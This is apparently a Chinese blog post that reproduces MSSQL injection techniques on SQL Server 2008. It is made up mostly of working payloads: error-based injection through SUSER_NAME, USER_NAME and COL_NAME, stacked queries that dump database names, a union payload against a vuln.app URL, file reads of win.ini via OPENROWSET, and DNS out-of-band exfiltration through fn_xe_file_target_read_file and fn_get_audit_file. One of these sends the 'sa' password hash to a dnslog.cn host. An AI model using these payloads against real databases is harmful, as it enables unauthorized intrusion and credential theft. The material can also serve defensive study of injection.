最近看到国外一篇关于mssql注入利用的文章,里面用了很多技巧我之前一直不知道,所以自己对这些技巧进行了复现,本次测试的环境为SQLSERVER2008
报错注入
之前对于SQLSERVER报错注入理解仅限于类型转换导致的报错的利用方法,这次看到有很多新的函数可以进行报错注入利用,我把每个函数的测试单独取出来进行测试。
1 | SUSER_NAME() |
SUSER_NAME()函数本来的作用是通过用户的id返回用户名,那id是int型的,由于我们输入的语句返回结果是varchar类型,因此会导致类型转换异常和报错,如下所示:
我们已经可以看到报错了,但是如果想要获取更多的信息怎么办,还能通过这个函数来进行报错注入的利用吗?可以的,语句如下
1 | select SUSER_NAME((select @@version)) |
获取表名
1 | select SUSER_NAME((select top 1 table_name from information_schema.tables)) |
上面是直接执行的结果,如果我们放到具体的注入语句里该怎么用?使用方法如下:
1 | select * from tn_Attitudes where id =1 and 1=SUSER_NAME(@@version) |
其他函数的用法类似,所以不一一说明了,下面给出利用的截图
1 | and 1=USER_NAME((select top 1 table_name from information_schema.tables)) |
最后一个函数COL_NAME有一点不一样,需要两个参数
1 | and 1=COL_NAME((select top 1 table_name from information_schema.tables),1) |
这些函数都有一个特性,就是他们输入的值都为int,返回值为varchar,我们可以利用这个特征去找其他可能导致报错注入的函数,之所以要了解这些函数,我们可以在利用报错注入某些函数被拦截的时候,通过替换为其他函数的方式来利用报错注入。
快速获取数据的小技巧
堆叠注入
我个人觉得MSSQL的报错注入比较鸡肋,因为MSSQL注入点一般都会支持堆叠查询,通过报错注入获取数据的速度远不如堆叠注入获取数据的速度快,这里我给出堆叠注入快速获取数据的方法
1 | DECLARE @listStr VARCHAR(MAX) DECLARE @myoutput VARCHAR(MAX) SET @listStr = '' SELECT @listStr = @listStr + Name + ',' FROM master..sysdatabases SELECT @myoutput = SUBSTRING(@listStr , 1, LEN(@listStr)-1) SELECT CAST(@myoutput as int) 列出所有数据库 |
获取所有数据库
获取所有表名
获取所有列名
联合查询
在MSSQL 2016及以后支持使用FOR JSON AUTO函数,我们可以使用这个函数结合联合查询获取数据,由于我本地的数据库版本比较低,所以复现不了这种利用方式,这里给出作者的Payload和截图
1 | https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)-- |
报错注入
还是由于环境的问题,无法复现这种利用方式,给出作者的payload和截图
1 | https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)-- |
文件读取
1 | SELECT BulkColumn FROM OPENROWSET(BULK N'C:\Windows\win.ini', SINGLE_BLOB) as document |
我尝试在报错注入中用到这种方法,但是并没有成功利用,但是可以在union联合查询中利用该方法读取文件。
1 | select * from tn_AtUsers where id=-1 union select null,(SELECT BulkColumn FROM OPENROWSET(BULK N'C:\Windows\win.ini', SINGLE_BLOB) as document),null,null |
获取当前正在执行的语句
1 | select text from sys.dm_exec_requests cross apply sys.dm_exec_sql_text(sql_handle) |
这种语句在报错注入中仍然是有效的
DNS注入
通过fn_xe_file_target_read_file加载UNC路径请求DNS,虽然这个函数第一个和第二个参数都是文件路径,但实际上会先去请求第一个参数对应的路径,所以一般情况下最好用第一个参数加载执行,当我们多次请求同一个UNC路径,只会执行第一次,所以每次执行完后,最好将前面的路径稍微改一下。
1 | select * from fn_xe_file_target_read_file('\\1a.idbfh8.dnslog.cn\1.xem','1.xem',null,null) |
在什么情况下可以用fn_xe_file_target_read_file的第二个参数进行利用呢,答案是当第一个参数指定的路径存在的情况下。
1 | select * from fn_xe_file_target_read_file('c:\windows\win.ini','\\jtf50t.dnslog.cn\1.xem',null,null) |
我测试了报错注入和UNION下利用这种方式外带数据,都是不行的,但在where后添加EXISTS函数执行是可以的,这里有一个小坑,就是and前面的参数的内容必须是存在的,才会执行DNS请求,否则不会执行成功。
1 | select * from tn_AuditItems where DisplayOrder=121 and exists(select * from fn_xe_file_target_read_file('\\1a.myg9zc.dnslog.cn\1.xem','1.xem',null,null)) |
还有一个问题是我们如果想要利用这种方式外带数据,该怎么利用,这个语句因为出现了+号,所以在get提交时需要注意URL编码的问题。
1 | select * from tn_AuditItems where DisplayOrder=121 and exists(select * from fn_xe_file_target_read_file('\\'+(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins WHERE name='sa')+'.myg9zc.dnslog.cn\1.xem','1.xem',null,null)) |
和fn_xe_file_target_read_file类似的函数还有fn_get_audit_file,
1 | select * from fn_get_audit_file('\\zwbqeg.dnslog.cn\11.xxx',default,default) |
作者还提供了fn_trace_gettable函数,不过这种利用方式我并没有复现成功。
总结
对于该作者挖掘到这些关于注入利用的函数,我们肯定也在想他是如何找到这些函数的,这里我大致做一下分析。
报错注入函数
我查阅了一些资料,这些函数都有一些共同点,就是接收的参数是int型的参数,并且返回值是varchar类型,如果我们想要挖掘其他的可以报错的函数,可以寻找这种类型的函数。
DNS注入函数
DNS外带数据的函数也比较明显,就是他们都是文件操作的函数,也就是说会进行文件读取操作的函数,那如果给这些函数的参数传入UNC路径的内容,就可能会存在DNS请求。